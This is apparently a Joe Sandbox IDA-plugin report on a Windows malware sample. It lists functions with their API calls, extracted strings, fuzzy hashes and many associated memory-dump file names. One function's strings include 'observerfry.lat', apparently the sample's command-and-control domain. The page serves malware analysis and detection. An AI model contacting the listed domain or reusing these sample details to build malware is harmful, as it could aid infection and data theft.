Associated: 00000000.00000002.2631115106.0000000000A6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631138360.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631194192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631217309.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631276116.0000000000A84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631299962.0000000000A86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631356551.0000000000A8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631429375.0000000000A96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631456495.0000000000A97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631514530.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631514530.0000000000ADA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631624356.0000000000AF0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631659232.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631690405.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631744995.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631787399.0000000000B04000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631787399.0000000000B0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631864540.0000000000B18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631893430.0000000000B19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_820000_yuij5p5p3W.jbxd

Similarity

API ID:
String ID: #E#G$+A#C$=]=_$_^]\$eN$rp
API String ID: 0-3333364358
Opcode ID: 6d6c7cb8e92d99925364cad4d9e5fd7adc35c895dce95a0321e074d688197d54
Instruction ID: 186b68a7ff62f94df3d6daa4d9c6352707686de50d37f9a6e42dcd6df558c83a
Opcode Fuzzy Hash: 6d6c7cb8e92d99925364cad4d9e5fd7adc35c895dce95a0321e074d688197d54
Instruction Fuzzy Hash: DD4268B1A04205CFDB14CF28D8816AABBB2FF85310F1A92ACD4459F395EB74D952CBD0

Function 00843B50 Relevance: 12.8, APIs: 2, Strings: 5, Instructions: 600
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 00843C37
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,?,?), ref: 00843CB1

Strings

#E#G, xrefs: 00843D1C
rp, xrefs: 00843FF3
eN, xrefs: 008441BA
+A#C, xrefs: 00843D15
=]=_, xrefs: 00843D0E

Memory Dump Source

Source File: 00000000.00000002.2629226042.0000000000821000.00000040.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000000.00000002.2629198330.0000000000820000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629226042.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629308215.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629333595.000000000087F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629359244.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629424467.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629644415.00000000009E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629673470.00000000009E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629822324.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629958022.00000000009F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630104021.00000000009F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630104021.00000000009FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630433548.0000000000A06000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630511045.0000000000A08000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630662603.0000000000A13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630694673.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630754324.0000000000A18000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630777307.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630841024.0000000000A32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630876728.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630943941.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630970015.0000000000A58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631032307.0000000000A5E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631056904.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631115106.0000000000A6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631138360.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631194192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631217309.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631276116.0000000000A84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631299962.0000000000A86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631356551.0000000000A8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631429375.0000000000A96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631456495.0000000000A97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631514530.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631514530.0000000000ADA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631624356.0000000000AF0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631659232.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631690405.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631744995.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631787399.0000000000B04000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631787399.0000000000B0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631864540.0000000000B18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631893430.0000000000B19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_820000_yuij5p5p3W.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: #E#G$+A#C$=]=_$eN$rp
API String ID: 237503144-3451580660
Opcode ID: ceff160b5f5b588e677509d8f4b95b117e5e00887178e7375efca6d78b428af1
Instruction ID: 027dad91f5358d2e4e14a9bf321b010d69f443d584fe9fddc1d07e73f2787abd
Opcode Fuzzy Hash: ceff160b5f5b588e677509d8f4b95b117e5e00887178e7375efca6d78b428af1
Instruction Fuzzy Hash: 681258B1A00215CFDB14CF69C8826AABBB2FF85314F1992ACD445AF355E738D942CBD1

Function 0082CE45 Relevance: 7.8, APIs: 1, Strings: 4, Instructions: 342
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoUninitialize.COMBASE ref: 0082CE56

Strings

`{tu, xrefs: 0082D1A8
observerfry.lat, xrefs: 0082D266
6=.), xrefs: 0082CF3B
<1!9, xrefs: 0082CF34

Memory Dump Source

Source File: 00000000.00000002.2629226042.0000000000821000.00000040.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000000.00000002.2629198330.0000000000820000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629226042.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629308215.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629333595.000000000087F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629359244.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629424467.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629644415.00000000009E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629673470.00000000009E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629822324.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629958022.00000000009F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630104021.00000000009F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630104021.00000000009FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630433548.0000000000A06000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630511045.0000000000A08000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630662603.0000000000A13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630694673.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630754324.0000000000A18000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630777307.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630841024.0000000000A32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630876728.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630943941.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630970015.0000000000A58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631032307.0000000000A5E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631056904.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631115106.0000000000A6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631138360.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631194192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631217309.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631276116.0000000000A84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631299962.0000000000A86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631356551.0000000000A8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631429375.0000000000A96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631456495.0000000000A97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631514530.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631514530.0000000000ADA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631624356.0000000000AF0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631659232.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631690405.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631744995.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631787399.0000000000B04000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631787399.0000000000B0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631864540.0000000000B18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631893430.0000000000B19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_820000_yuij5p5p3W.jbxd

Similarity

API ID: Uninitialize
String ID: 6=.)$<1!9$`{tu$observerfry.lat
API String ID: 3861434553-2148362831
Opcode ID: 48f28dc78d4f17920b74e9ca7dd8936dc80abde8891701f20d0a0f180b58747e
Instruction ID: ada817794a68f93a7ace1e4919d03883505c7e978ad9a9af452101519fd74181
Opcode Fuzzy Hash: 48f28dc78d4f17920b74e9ca7dd8936dc80abde8891701f20d0a0f180b58747e
Instruction Fuzzy Hash: B9A126B42047818FD716CF29D4D0666BFE2FF96300B18859CC8D28F76AD775A886CB91

Function 00828600 Relevance: 4.1, Strings: 3, Instructions: 356
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

b]u), xrefs: 00828877
}, xrefs: 0082890C
}, xrefs: 00828913

Memory Dump Source

Source File: 00000000.00000002.2629226042.0000000000821000.00000040.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000000.00000002.2629198330.0000000000820000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629226042.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629308215.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629333595.000000000087F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629359244.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629424467.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629644415.00000000009E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629673470.00000000009E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629822324.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629958022.00000000009F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630104021.00000000009F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630104021.00000000009FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630433548.0000000000A06000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630511045.0000000000A08000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630662603.0000000000A13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630694673.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630754324.0000000000A18000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630777307.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630841024.0000000000A32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630876728.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630943941.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630970015.0000000000A58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631032307.0000000000A5E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631056904.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631115106.0000000000A6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631138360.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631194192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631217309.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631276116.0000000000A84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631299962.0000000000A86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631356551.0000000000A8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631429375.0000000000A96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631456495.0000000000A97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631514530.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631514530.0000000000ADA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631624356.0000000000AF0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631659232.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631690405.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631744995.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631787399.0000000000B04000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631787399.0000000000B0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631864540.0000000000B18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631893430.0000000000B19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_820000_yuij5p5p3W.jbxd

Similarity

API ID: FreeLibrary
String ID: b]u)$}$}
API String ID: 3664257935-2900034282
Opcode ID: 5a1fb2f3c426bf12f96dadc094fcf340a8d2049b2ed06c58fdc6e3824a847121
Instruction ID: af22218a59c0fbcd7476e03f2de72bb3c480229c44766325ed66e818e936dd9e
Opcode Fuzzy Hash: 5a1fb2f3c426bf12f96dadc094fcf340a8d2049b2ed06c58fdc6e3824a847121
Instruction Fuzzy Hash: 82C1E673E197244BC718DF69D84125AF7D6ABC4710F0EC52EA898EB395EA74DC048BC2

Function 0084D34A Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 398
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0084D3EE

Strings

><+, xrefs: 0084D353

Memory Dump Source

Source File: 00000000.00000002.2629226042.0000000000821000.00000040.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000000.00000002.2629198330.0000000000820000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629226042.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629308215.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629333595.000000000087F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629359244.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629424467.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629644415.00000000009E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629673470.00000000009E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629822324.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629958022.00000000009F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630104021.00000000009F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630104021.00000000009FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630433548.0000000000A06000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630511045.0000000000A08000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630662603.0000000000A13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630694673.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630754324.0000000000A18000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630777307.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630841024.0000000000A32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630876728.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630943941.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630970015.0000000000A58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631032307.0000000000A5E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631056904.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631115106.0000000000A6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631138360.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631194192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631217309.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631276116.0000000000A84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631299962.0000000000A86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631356551.0000000000A8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631429375.0000000000A96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631456495.0000000000A97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631514530.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631514530.0000000000ADA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631624356.0000000000AF0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631659232.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631690405.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631744995.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631787399.0000000000B04000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631787399.0000000000B0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631864540.0000000000B18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631893430.0000000000B19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_820000_yuij5p5p3W.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: ><+
API String ID: 3960555810-2918635699
Opcode ID: 8486e865f2be1545b5707842b6f3fb55e494e98bef319286dc8870c2a0de4d29
Instruction ID: c01ac79bb6a26d867700cb073e8ffb7fbda6d9734d8315d8ec92decf799d3fdc
Opcode Fuzzy Hash: 8486e865f2be1545b5707842b6f3fb55e494e98bef319286dc8870c2a0de4d29
Instruction Fuzzy Hash: 3FC1BD756047418FD729CF2AC490722FBE2FF9A310B29859DC4DA8B792D735E806CB50

Function 00860D20 Relevance: 2.9, Strings: 2, Instructions: 425COMMON

Download Yara Rule

Strings

@Ukx, xrefs: 00860F53
, xrefs: 00860DC3, 00860EAB

Memory Dump Source

Source File: 00000000.00000002.2629226042.0000000000821000.00000040.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000000.00000002.2629198330.0000000000820000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629226042.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629308215.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629333595.000000000087F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629359244.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629424467.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629644415.00000000009E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629673470.00000000009E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629822324.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629958022.00000000009F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630104021.00000000009F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630104021.00000000009FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630433548.0000000000A06000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630511045.0000000000A08000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630662603.0000000000A13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630694673.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630754324.0000000000A18000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630777307.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630841024.0000000000A32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630876728.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630943941.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630970015.0000000000A58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631032307.0000000000A5E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631056904.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631115106.0000000000A6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631138360.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631194192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631217309.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631276116.0000000000A84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631299962.0000000000A86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631356551.0000000000A8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631429375.0000000000A96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631456495.0000000000A97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631514530.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631514530.0000000000ADA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631624356.0000000000AF0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631659232.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631690405.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631744995.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631787399.0000000000B04000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631787399.0000000000B0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631864540.0000000000B18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631893430.0000000000B19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_820000_yuij5p5p3W.jbxd

Similarity

API ID: InitializeThunk
String ID: @Ukx$
API String ID: 2994545307-3636270652
Opcode ID: 6a45ba491fcbab66220ddf156c00494ff0e5cf17ab931bfafb21605fcf8d7ea7
Instruction ID: 688eba7a4994815d8264dc672c5aad9e61d62c369c45b6b1f38d9fd7ba98ccaa
Opcode Fuzzy Hash: 6a45ba491fcbab66220ddf156c00494ff0e5cf17ab931bfafb21605fcf8d7ea7
